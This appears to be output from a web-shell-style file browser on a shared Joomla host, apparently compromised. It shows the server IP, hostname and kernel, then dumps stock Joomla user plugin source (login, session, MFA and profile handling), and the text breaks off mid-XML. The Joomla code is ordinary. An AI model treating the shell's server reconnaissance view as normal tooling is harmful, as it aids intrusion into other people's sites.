uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
07d6c
/
..
/
c9989
/
..
/
api
/
..
/
images
/
.
/
..
/
administrator
/
..
/
.
/
user.tar
/
/
joomla/index.html000060400000000037151664163100010021 0ustar00<!DOCTYPE html><title></title> joomla/joomla.xml000064400000003305151664163100010034 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="user" method="upgrade"> <name>plg_user_joomla</name> <author>Joomla! Project</author> <creationDate>2006-12</creationDate> <copyright>(C) 2006 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.0.0</version> <description>PLG_USER_JOOMLA_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\User\Joomla</namespace> <files> <folder plugin="joomla">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_user_joomla.ini</language> <language tag="en-GB">language/en-GB/plg_user_joomla.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic"> <field name="autoregister" type="radio" layout="joomla.form.field.radio.switcher" label="PLG_USER_JOOMLA_FIELD_AUTOREGISTER_LABEL" default="1" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="mail_to_user" type="radio" layout="joomla.form.field.radio.switcher" label="PLG_USER_JOOMLA_FIELD_MAILTOUSER_LABEL" default="1" > <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="forceLogout" type="radio" layout="joomla.form.field.radio.switcher" label="PLG_USER_JOOMLA_FIELD_FORCELOGOUT_LABEL" default="1" > <option value="0">JNO</option> <option value="1">JYES</option> </field> </fieldset> </fields> </config> </extension> joomla/src/Extension/Joomla.php000064400000041667151664163100012543 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.joomla * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\User\Joomla\Extension; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Language\LanguageFactoryInterface; use Joomla\CMS\Log\Log; use Joomla\CMS\Mail\MailTemplate; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Uri\Uri; use Joomla\CMS\User\User; use Joomla\CMS\User\UserHelper; use Joomla\Database\DatabaseAwareTrait; use Joomla\Database\Exception\ExecutionFailureException; use Joomla\Database\ParameterType; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomla User plugin * * @since 1.5 */ final class Joomla extends CMSPlugin { use DatabaseAwareTrait; /** * Set as required the passwords fields when mail to user is set to No * * @param \Joomla\CMS\Form\Form $form The form to be altered. * @param mixed $data The associated data for the form. * * @return boolean * * @since 4.0.0 */ public function onContentPrepareForm($form, $data) { // Check we are manipulating a valid user form before modifying it. $name = $form->getName(); if ($name === 'com_users.user') { // In case there is a validation error (like duplicated user), $data is an empty array on save. // After returning from error, $data is an array but populated if (!$data) { $data = $this->getApplication()->getInput()->get('jform', [], 'array'); } if (is_array($data)) { $data = (object) $data; } // Passwords fields are required when mail to user is set to No if (empty($data->id) && !$this->params->get('mail_to_user', 1)) { $form->setFieldAttribute('password', 'required', 'true'); $form->setFieldAttribute('password2', 'required', 'true'); } } return true; } /** * Remove all sessions for the user name * * Method is called after user data is deleted from the database * * @param array $user Holds the user data * @param boolean $success True if user was successfully stored in the database * @param string $msg Message * * @return void * * @since 1.6 */ public function onUserAfterDelete($user, $success, $msg): void { if (!$success) { return; } $userId = (int) $user['id']; // Only execute this if the session metadata is tracked if ($this->getApplication()->get('session_metadata', true)) { UserHelper::destroyUserSessions($userId, true); } $db = $this->getDatabase(); try { $db->setQuery( $db->getQuery(true) ->delete($db->quoteName('#__messages')) ->where($db->quoteName('user_id_from') . ' = :userId') ->bind(':userId', $userId, ParameterType::INTEGER) )->execute(); } catch (ExecutionFailureException $e) { // Do nothing. } // Delete Multi-factor Authentication user profile records $profileKey = 'mfa.%'; $query = $db->getQuery(true) ->delete($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userId') ->where($db->quoteName('profile_key') . ' LIKE :profileKey') ->bind(':userId', $userId, ParameterType::INTEGER) ->bind(':profileKey', $profileKey, ParameterType::STRING); try { $db->setQuery($query)->execute(); } catch (\Exception $e) { // Do nothing } // Delete Multi-factor Authentication records $query = $db->getQuery(true) ->delete($db->quoteName('#__user_mfa')) ->where($db->quoteName('user_id') . ' = :userId') ->bind(':userId', $userId, ParameterType::INTEGER); try { $db->setQuery($query)->execute(); } catch (\Exception $e) { // Do nothing } } /** * Utility method to act on a user after it has been saved. * * This method sends a registration email to new users created in the backend. * * @param array $user Holds the new user data. * @param boolean $isnew True if a new user is stored. * @param boolean $success True if user was successfully stored in the database. * @param string $msg Message. * * @return void * * @since 1.6 */ public function onUserAfterSave($user, $isnew, $success, $msg): void { $mail_to_user = $this->params->get('mail_to_user', 1); if (!$isnew || !$mail_to_user) { return; } $app = $this->getApplication(); $language = $app->getLanguage(); $defaultLocale = $language->getTag(); // @todo: Suck in the frontend registration emails here as well. Job for a rainy day. // The method check here ensures that if running as a CLI Application we don't get any errors if (method_exists($app, 'isClient') && ($app->isClient('site') || $app->isClient('cli'))) { return; } // Check if we have a sensible from email address, if not bail out as mail would not be sent anyway if (strpos($app->get('mailfrom'), '@') === false) { $app->enqueueMessage($language->_('JERROR_SENDING_EMAIL'), 'warning'); return; } /** * Look for user language. Priority: * 1. User frontend language * 2. User backend language */ $userParams = new Registry($user['params']); $userLocale = $userParams->get('language', $userParams->get('admin_language', $defaultLocale)); // Temporarily set application language to user's language. if ($userLocale !== $defaultLocale) { Factory::$language = Factory::getContainer() ->get(LanguageFactoryInterface::class) ->createLanguage($userLocale, $app->get('debug_lang', false)); if (method_exists($app, 'loadLanguage')) { $app->loadLanguage(Factory::$language); } } // Load plugin language files. $this->loadLanguage(); // Collect data for mail $data = [ 'name' => $user['name'], 'sitename' => $app->get('sitename'), 'url' => Uri::root(), 'username' => $user['username'], 'password' => $user['password_clear'], 'email' => $user['email'], ]; $mailer = new MailTemplate('plg_user_joomla.mail', $userLocale); $mailer->addTemplateData($data); $mailer->addUnsafeTags(['username', 'password', 'name', 'email']); $mailer->addRecipient($user['email'], $user['name']); try { $res = $mailer->send(); } catch (\Exception $exception) { try { Log::add($language->_($exception->getMessage()), Log::WARNING, 'jerror'); $res = false; } catch (\RuntimeException $exception) { $app->enqueueMessage($language->_($exception->getMessage()), 'warning'); $res = false; } } if ($res === false) { $app->enqueueMessage($language->_('JERROR_SENDING_EMAIL'), 'warning'); } // Set application language back to default if we changed it if ($userLocale !== $defaultLocale) { Factory::$language = $language; if (method_exists($app, 'loadLanguage')) { $app->loadLanguage($language); } } } /** * This method should handle any login logic and report back to the subject * * @param array $user Holds the user data * @param array $options Array holding options (remember, autoregister, group) * * @return boolean True on success * * @since 1.5 */ public function onUserLogin($user, $options = []) { $instance = $this->getUser($user, $options); // If getUser returned an error, then pass it back. if ($instance instanceof \Exception) { return false; } // If the user is blocked, redirect with an error if ($instance->block == 1) { $this->getApplication()->enqueueMessage($this->getApplication()->getLanguage()->_('JERROR_NOLOGIN_BLOCKED'), 'warning'); return false; } // Authorise the user based on the group information if (!isset($options['group'])) { $options['group'] = 'USERS'; } // Check the user can login. $result = $instance->authorise($options['action']); if (!$result) { $this->getApplication()->enqueueMessage($this->getApplication()->getLanguage()->_('JERROR_LOGIN_DENIED'), 'warning'); return false; } // Mark the user as logged in $instance->guest = 0; // Load the logged in user to the application $this->getApplication()->loadIdentity($instance); $session = $this->getApplication()->getSession(); // Grab the current session ID $oldSessionId = $session->getId(); // Fork the session $session->fork(); // Register the needed session variables $session->set('user', $instance); // Update the user related fields for the Joomla sessions table if tracking session metadata. if ($this->getApplication()->get('session_metadata', true)) { $this->getApplication()->checkSession(); } $db = $this->getDatabase(); // Purge the old session $query = $db->getQuery(true) ->delete($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = :sessionid') ->bind(':sessionid', $oldSessionId); try { $db->setQuery($query)->execute(); } catch (\RuntimeException $e) { // The old session is already invalidated, don't let this block logging in } // Hit the user last visit field $instance->setLastVisit(); // Add "user state" cookie used for reverse caching proxies like Varnish, Nginx etc. if ($this->getApplication()->isClient('site')) { $this->getApplication()->getInput()->cookie->set( 'joomla_user_state', 'logged_in', 0, $this->getApplication()->get('cookie_path', '/'), $this->getApplication()->get('cookie_domain', ''), $this->getApplication()->isHttpsForced(), true ); } return true; } /** * This method should handle any logout logic and report back to the subject * * @param array $user Holds the user data. * @param array $options Array holding options (client, ...). * * @return boolean True on success * * @since 1.5 */ public function onUserLogout($user, $options = []) { $my = Factory::getUser(); $session = Factory::getSession(); $userid = (int) $user['id']; // Make sure we're a valid user first if ($user['id'] === 0 && !$my->get('tmp_user')) { return true; } $sharedSessions = $this->getApplication()->get('shared_session', '0'); // Check to see if we're deleting the current session if ($my->id == $userid && ($sharedSessions || (!$sharedSessions && $options['clientid'] == $this->getApplication()->getClientId()))) { // Hit the user last visit field $my->setLastVisit(); // Destroy the php session for this user $session->destroy(); } // Enable / Disable Forcing logout all users with same userid, but only if session metadata is tracked $forceLogout = $this->params->get('forceLogout', 1) && $this->getApplication()->get('session_metadata', true); if ($forceLogout) { $clientId = $sharedSessions ? null : (int) $options['clientid']; UserHelper::destroyUserSessions($user['id'], false, $clientId); } // Delete "user state" cookie used for reverse caching proxies like Varnish, Nginx etc. if ($this->getApplication()->isClient('site')) { $this->getApplication()->getInput()->cookie->set('joomla_user_state', '', 1, $this->getApplication()->get('cookie_path', '/'), $this->getApplication()->get('cookie_domain', '')); } return true; } /** * Hooks on the Joomla! login event. Detects silent logins and disables the Multi-Factor * Authentication page in this case. * * Moreover, it will save the redirection URL and the Captive URL which is necessary in Joomla 4. You see, in Joomla * 4 having unified sessions turned on makes the backend login redirect you to the frontend of the site AFTER * logging in, something which would cause the Captive page to appear in the frontend and redirect you to the public * frontend homepage after successfully passing the Two Step verification process. * * @param array $options Passed by Joomla. user: a User object; responseType: string, authentication response type. * * @return void * @since 4.2.0 */ public function onUserAfterLogin(array $options): void { if (!($this->getApplication()->isClient('administrator')) && !($this->getApplication()->isClient('site'))) { return; } $this->disableMfaOnSilentLogin($options); } /** * Detect silent logins and disable MFA if the relevant com_users option is set. * * @param array $options The array of login options and login result * * @return void * @since 4.2.0 */ private function disableMfaOnSilentLogin(array $options): void { $userParams = ComponentHelper::getParams('com_users'); $doMfaOnSilentLogin = $userParams->get('mfaonsilent', 0) == 1; // Should I show MFA even on silent logins? Default: 1 (yes, show) if ($doMfaOnSilentLogin) { return; } // Make sure I have a valid user /** @var User $user */ $user = $options['user']; if (!is_object($user) || !($user instanceof User) || $user->guest) { return; } $silentResponseTypes = array_map( 'trim', explode(',', $userParams->get('silentresponses', '') ?: '') ); $silentResponseTypes = $silentResponseTypes ?: ['cookie', 'passwordless']; // Only proceed if this is not a silent login if (!in_array(strtolower($options['responseType'] ?? ''), $silentResponseTypes)) { return; } // Set the flag indicating that MFA is already checked. $this->getApplication()->getSession()->set('com_users.mfa_checked', 1); } /** * This method will return a user object * * If options['autoregister'] is true, if the user doesn't exist yet they will be created * * @param array $user Holds the user data. * @param array $options Array holding options (remember, autoregister, group). * * @return User * * @since 1.5 */ private function getUser($user, $options = []) { $instance = User::getInstance(); $id = (int) UserHelper::getUserId($user['username']); if ($id) { $instance->load($id); return $instance; } // @todo : move this out of the plugin $params = ComponentHelper::getParams('com_users'); // Read the default user group option from com_users $defaultUserGroup = $params->get('new_usertype', $params->get('guest_usergroup', 1)); $instance->id = 0; $instance->name = $user['fullname']; $instance->username = $user['username']; $instance->password_clear = $user['password_clear']; // Result should contain an email (check). $instance->email = $user['email']; $instance->groups = [$defaultUserGroup]; // If autoregister is set let's register the user $autoregister = $options['autoregister'] ?? $this->params->get('autoregister', 1); if ($autoregister) { if (!$instance->save()) { Log::add('Failed to automatically create account for user ' . $user['username'] . '.', Log::WARNING, 'error'); } } else { // No existing user and autoregister off, this is a temporary user. $instance->set('tmp_user', true); } return $instance; } } joomla/services/provider.php000064400000002627151664163100012225 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.joomla * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\User\Joomla\Extension\Joomla; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Joomla( $dispatcher, (array) PluginHelper::getPlugin('user', 'joomla') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; index.html000060400000000037151664163100006540 0ustar00<!DOCTYPE html><title></title> profile/forms/profile.xml000064400000004101151664163100011513 0ustar00<?xml version="1.0" encoding="UTF-8"?> <form> <fields name="profile"> <fieldset name="profile" label="PLG_USER_PROFILE_SLIDER_LABEL" > <field name="address1" type="text" label="PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL" filter="string" size="30" /> <field name="address2" type="text" label="PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL" filter="string" size="30" /> <field name="city" type="text" label="PLG_USER_PROFILE_FIELD_CITY_LABEL" filter="string" size="30" /> <field name="region" type="text" label="PLG_USER_PROFILE_FIELD_REGION_LABEL" filter="string" size="30" /> <field name="country" type="text" label="PLG_USER_PROFILE_FIELD_COUNTRY_LABEL" filter="string" size="30" /> <field name="postal_code" type="text" label="PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL" filter="string" size="30" /> <field name="phone" type="tel" label="PLG_USER_PROFILE_FIELD_PHONE_LABEL" filter="string" size="30" /> <field name="website" type="url" label="PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL" filter="url" size="30" validate="url" /> <field name="favoritebook" type="text" label="PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL" filter="string" size="30" /> <field name="aboutme" type="textarea" label="PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL" cols="30" rows="5" filter="safehtml" /> <field name="dob" type="calendar" label="PLG_USER_PROFILE_FIELD_DOB_LABEL" description="PLG_USER_PROFILE_FIELD_DOB_DESCRIPTION" hint="PLG_USER_PROFILE_FIELD_DOB_HINT" translateformat="true" showtime="false" filter="server_utc" /> <field name="tos" type="tos" label="PLG_USER_PROFILE_FIELD_TOS_LABEL" default="0" filter="integer" > <option value="1">PLG_USER_PROFILE_OPTION_AGREE</option> <option value="0">PLG_USER_PROFILE_OPTION_DO_NOT_AGREE</option> </field> </fieldset> </fields> </form> profile/src/Field/TosField.php000064400000011755151664163110012255 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.profile * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\User\Profile\Field; use Joomla\CMS\Factory; use Joomla\CMS\Form\Field\RadioField; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Associations; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Provides input for TOS * * @since 2.5.5 */ class TosField extends RadioField { /** * The form field type. * * @var string * @since 2.5.5 */ protected $type = 'Tos'; /** * Method to get the field label markup. * * @return string The field label markup. * * @since 2.5.5 */ protected function getLabel() { $label = ''; if ($this->hidden) { return $label; } // Get the label text from the XML element, defaulting to the element name. $text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name']; $text = $this->translateLabel ? Text::_($text) : $text; // Set required to true as this field is not displayed at all if not required. $this->required = true; // Build the class for the label. $class = !empty($this->description) ? 'hasPopover' : ''; $class = $class . ' required'; $class = !empty($this->labelClass) ? $class . ' ' . $this->labelClass : $class; // Add the opening label tag and main attributes attributes. $label .= '<label id="' . $this->id . '-lbl" for="' . $this->id . '" class="' . $class . '"'; // If a description is specified, use it to build a tooltip. if (!empty($this->description)) { HTMLHelper::_('bootstrap.popover', '.hasPopover'); $label .= ' data-bs-content="' . htmlspecialchars( $this->translateDescription ? Text::_($this->description) : $this->description, ENT_COMPAT, 'UTF-8' ) . '"'; if (Factory::getLanguage()->isRtl()) { $label .= ' data-bs-placement="left"'; } } $tosArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0; if ($tosArticle) { $attribs = []; $attribs['data-bs-toggle'] = 'modal'; $attribs['data-bs-target'] = '#tosModal'; $db = $this->getDatabase(); $query = $db->getQuery(true); $query->select($db->quoteName(['id', 'alias', 'catid', 'language'])) ->from($db->quoteName('#__content')) ->where($db->quoteName('id') . ' = :id') ->bind(':id', $tosArticle, ParameterType::INTEGER); $db->setQuery($query); $article = $db->loadObject(); if (Associations::isEnabled()) { $tosAssociated = Associations::getAssociations('com_content', '#__content', 'com_content.item', $tosArticle); } $currentLang = Factory::getLanguage()->getTag(); if (isset($tosAssociated) && $currentLang !== $article->language && \array_key_exists($currentLang, $tosAssociated)) { $url = RouteHelper::getArticleRoute( $tosAssociated[$currentLang]->id, $tosAssociated[$currentLang]->catid, $tosAssociated[$currentLang]->language ); $link = HTMLHelper::_('link', Route::_($url . '&tmpl=component'), $text, $attribs); } else { $slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id; $url = RouteHelper::getArticleRoute($slug, $article->catid, $article->language); $link = HTMLHelper::_('link', Route::_($url . '&tmpl=component'), $text, $attribs); } echo HTMLHelper::_( 'bootstrap.renderModal', 'tosModal', [ 'url' => Route::_($url . '&tmpl=component'), 'title' => $text, 'height' => '100%', 'width' => '100%', 'modalWidth' => '800', 'bodyHeight' => '500', 'footer' => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" aria-hidden="true">' . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>', ] ); } else { $link = $text; } // Add the label text and closing tag. $label .= '>' . $link . '<span class="star" aria-hidden="true"> *</span></label>'; return $label; } } profile/src/Extension/Profile.php000064400000034732151664163110013075 0ustar00<?php /** * @package Joomla.Plugin * @subpackage User.profile * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\User\Profile\Extension; use Exception; use Joomla\CMS\Date\Date; use Joomla\CMS\Form\Form; use Joomla\CMS\Form\FormHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\String\PunycodeHelper; use Joomla\Database\DatabaseAwareTrait; use Joomla\Database\ParameterType; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * An example custom profile plugin. * * @since 1.6 */ final class Profile extends CMSPlugin { use DatabaseAwareTrait; /** * Load the language file on instantiation. * * @var boolean * * @since 3.1 */ protected $autoloadLanguage = true; /** * Date of birth. * * @var string * * @since 3.1 */ private $date = ''; /** * Runs on content preparation * * @param string $context The context for the data * @param object $data An object containing the data for the form. * * @return boolean * * @since 1.6 */ public function onContentPrepareData($context, $data) { // Check we are manipulating a valid form. if (!in_array($context, ['com_users.profile', 'com_users.user', 'com_users.registration'])) { return true; } if (is_object($data)) { $userId = $data->id ?? 0; if (!isset($data->profile) && $userId > 0) { // Load the profile data from the database. $db = $this->getDatabase(); $query = $db->getQuery(true) ->select( [ $db->quoteName('profile_key'), $db->quoteName('profile_value'), ] ) ->from($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userid') ->where($db->quoteName('profile_key') . ' LIKE ' . $db->quote('profile.%')) ->order($db->quoteName('ordering')) ->bind(':userid', $userId, ParameterType::INTEGER); $db->setQuery($query); $results = $db->loadRowList(); // Merge the profile data. $data->profile = []; foreach ($results as $v) { $k = str_replace('profile.', '', $v[0]); $data->profile[$k] = json_decode($v[1], true); if ($data->profile[$k] === null) { $data->profile[$k] = $v[1]; } } } if (!HTMLHelper::isRegistered('users.url')) { HTMLHelper::register('users.url', [__CLASS__, 'url']); } if (!HTMLHelper::isRegistered('users.calendar')) { HTMLHelper::register('users.calendar', [__CLASS__, 'calendar']); } if (!HTMLHelper::isRegistered('users.tos')) { HTMLHelper::register('users.tos', [__CLASS__, 'tos']); } if (!HTMLHelper::isRegistered('users.dob')) { HTMLHelper::register('users.dob', [__CLASS__, 'dob']); } } return true; } /** * Returns an anchor tag generated from a given value * * @param string $value URL to use * * @return mixed|string */ public static function url($value) { if (empty($value)) { return HTMLHelper::_('users.value', $value); } else { // Convert website URL to utf8 for display $value = htmlspecialchars(PunycodeHelper::urlToUTF8($value), ENT_QUOTES, 'UTF-8'); if (strpos($value, 'http') === 0) { return '<a href="' . $value . '">' . $value . '</a>'; } else { return '<a href="http://' . $value . '">' . $value . '</a>'; } } } /** * Returns html markup showing a date picker * * @param string $value valid date string * * @return mixed */ public static function calendar($value) { if (empty($value)) { return HTMLHelper::_('users.value', $value); } else { return HTMLHelper::_('date', $value, null, null); } } /** * Returns the date of birth formatted and calculated using server timezone. * * @param string $value valid date string * * @return mixed */ public static function dob($value) { if (!$value) { return ''; } return HTMLHelper::_('date', $value, Text::_('DATE_FORMAT_LC1'), false); } /** * Return the translated strings yes or no depending on the value * * @param boolean $value input value * * @return string */ public static function tos($value) { if ($value) { return Text::_('JYES'); } else { return Text::_('JNO'); } } /** * Adds additional fields to the user editing form * * @param Form $form The form to be altered. * @param mixed $data The associated data for the form. * * @return boolean * * @since 1.6 */ public function onContentPrepareForm(Form $form, $data) { // Check we are manipulating a valid form. $name = $form->getName(); if (!in_array($name, ['com_users.user', 'com_users.profile', 'com_users.registration'])) { return true; } // Add the registration fields to the form. FormHelper::addFieldPrefix('Joomla\\Plugin\\User\\Profile\\Field'); FormHelper::addFormPath(JPATH_PLUGINS . '/' . $this->_type . '/' . $this->_name . '/forms'); $form->loadFile('profile'); $fields = [ 'address1', 'address2', 'city', 'region', 'country', 'postal_code', 'phone', 'website', 'favoritebook', 'aboutme', 'dob', 'tos', ]; $tosArticle = $this->params->get('register_tos_article'); $tosEnabled = $this->params->get('register-require_tos', 0); // We need to be in the registration form and field needs to be enabled if ($name !== 'com_users.registration' || !$tosEnabled) { // We only want the TOS in the registration form $form->removeField('tos', 'profile'); } else { // Push the TOS article ID into the TOS field. $form->setFieldAttribute('tos', 'article', $tosArticle, 'profile'); } foreach ($fields as $field) { // Case using the users manager in admin if ($name === 'com_users.user') { // Toggle whether the field is required. if ($this->params->get('profile-require_' . $field, 1) > 0) { $form->setFieldAttribute($field, 'required', ($this->params->get('profile-require_' . $field) == 2) ? 'required' : '', 'profile'); } elseif ( // Remove the field if it is disabled in registration and profile $this->params->get('register-require_' . $field, 1) == 0 && $this->params->get('profile-require_' . $field, 1) == 0 ) { $form->removeField($field, 'profile'); } } elseif ($name === 'com_users.registration') { // Case registration // Toggle whether the field is required. if ($this->params->get('register-require_' . $field, 1) > 0) { $form->setFieldAttribute($field, 'required', ($this->params->get('register-require_' . $field) == 2) ? 'required' : '', 'profile'); } else { $form->removeField($field, 'profile'); } } elseif ($name === 'com_users.profile') { // Case profile in site or admin // Toggle whether the field is required. if ($this->params->get('profile-require_' . $field, 1) > 0) { $form->setFieldAttribute($field, 'required', ($this->params->get('profile-require_' . $field) == 2) ? 'required' : '', 'profile'); } else { $form->removeField($field, 'profile'); } } } // Drop the profile form entirely if there aren't any fields to display. $remainingfields = $form->getGroup('profile'); if (!count($remainingfields)) { $form->removeGroup('profile'); } return true; } /** * Method is called before user data is stored in the database * * @param array $user Holds the old user data. * @param boolean $isnew True if a new user is stored. * @param array $data Holds the new user data. * * @return boolean * * @since 3.1 * @throws \InvalidArgumentException on invalid date. */ public function onUserBeforeSave($user, $isnew, $data) { // Check that the date is valid. if (!empty($data['profile']['dob'])) { try { $date = new Date($data['profile']['dob']); $this->date = $date->format('Y-m-d H:i:s'); } catch (\Exception $e) { // Throw an exception if date is not valid. throw new \InvalidArgumentException($this->getApplication()->getLanguage()->_('PLG_USER_PROFILE_ERROR_INVALID_DOB')); } if (Date::getInstance('now') < $date) { // Throw an exception if dob is greater than now. throw new \InvalidArgumentException($this->getApplication()->getLanguage()->_('PLG_USER_PROFILE_ERROR_INVALID_DOB_FUTURE_DATE')); } } // Check that the tos is checked if required ie only in registration from frontend. $task = $this->getApplication()->getInput()->getCmd('task'); $option = $this->getApplication()->getInput()->getCmd('option'); $tosEnabled = ($this->params->get('register-require_tos', 0) == 2); // Check that the tos is checked. if ($task === 'register' && $tosEnabled && $option === 'com_users' && !$data['profile']['tos']) { throw new \InvalidArgumentException($this->getApplication()->getLanguage()->_('PLG_USER_PROFILE_FIELD_TOS_DESC_SITE')); } return true; } /** * Saves user profile data * * @param array $data entered user data * @param boolean $isNew true if this is a new user * @param boolean $result true if saving the user worked * @param string $error error message * * @return void */ public function onUserAfterSave($data, $isNew, $result, $error): void { $userId = ArrayHelper::getValue($data, 'id', 0, 'int'); if ($userId && $result && isset($data['profile']) && count($data['profile'])) { $db = $this->getDatabase(); // Sanitize the date if (!empty($data['profile']['dob'])) { $data['profile']['dob'] = $this->date; } $keys = array_keys($data['profile']); foreach ($keys as &$key) { $key = 'profile.' . $key; } $query = $db->getQuery(true) ->delete($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userid') ->whereIn($db->quoteName('profile_key'), $keys, ParameterType::STRING) ->bind(':userid', $userId, ParameterType::INTEGER); $db->setQuery($query); $db->execute(); $query->clear() ->select($db->quoteName('ordering')) ->from($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userid') ->bind(':userid', $userId, ParameterType::INTEGER); $db->setQuery($query); $usedOrdering = $db->loadColumn(); $order = 1; $query->clear() ->insert($db->quoteName('#__user_profiles')); foreach ($data['profile'] as $k => $v) { while (in_array($order, $usedOrdering)) { $order++; } $query->values( implode( ',', $query->bindArray( [ $userId, 'profile.' . $k, json_encode($v), $order++, ], [ ParameterType::INTEGER, ParameterType::STRING, ParameterType::STRING, ParameterType::INTEGER, ] ) ) ); } $db->setQuery($query); $db->execute(); } } /** * Remove all user profile information for the given user ID * * Method is called after user data is deleted from the database * * @param array $user Holds the user data * @param boolean $success True if user was successfully stored in the database * @param string $msg Message * * @return void */ public function onUserAfterDelete($user, $success, $msg): void { if (!$success) { return; } $userId = ArrayHelper::getValue($user, 'id', 0, 'int'); if ($userId) { $db = $this->getDatabase(); $query = $db->getQuery(true) ->delete($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userid') ->where($db->quoteName('profile_key') . ' LIKE ' . $db->quote('profile.%')) ->bind(':userid', $userId, ParameterType::INTEGER); $db->setQuery($query); $db->execute(); } } } profile/profile.xml000064400000022234151664163110010375 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="user" method="upgrade"> <name>plg_user_profile</name> <author>Joomla! Project</author> <creationDate>2008-01</creationDate> <copyright>(C) 2008 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.0.0</version> <description>PLG_USER_PROFILE_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\User\Profile</namespace> <files> <folder>forms</folder> <folder plugin="profile">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_user_profile.ini</language> <language tag="en-GB">language/en-GB/plg_user_profile.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="basic" addfieldprefix="Joomla\Component\Content\Administrator\Field"> <field name="register-require-user" type="spacer" label="PLG_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER" class="text" /> <field name="register-require_address1" type="list" label="PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="register-require_address2" type="list" label="PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="register-require_city" type="list" label="PLG_USER_PROFILE_FIELD_CITY_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field name="register-require_region" type="list" label="PLG_USER_PROFILE_FIELD_REGION_LABEL" default="1" filter="integer" validate="options" > <option value="2">JOPTION_REQUIRED</option> <option value="1">JOPTION_OPTIONAL</option> <option value="0">JDISABLED</option> </field> <field 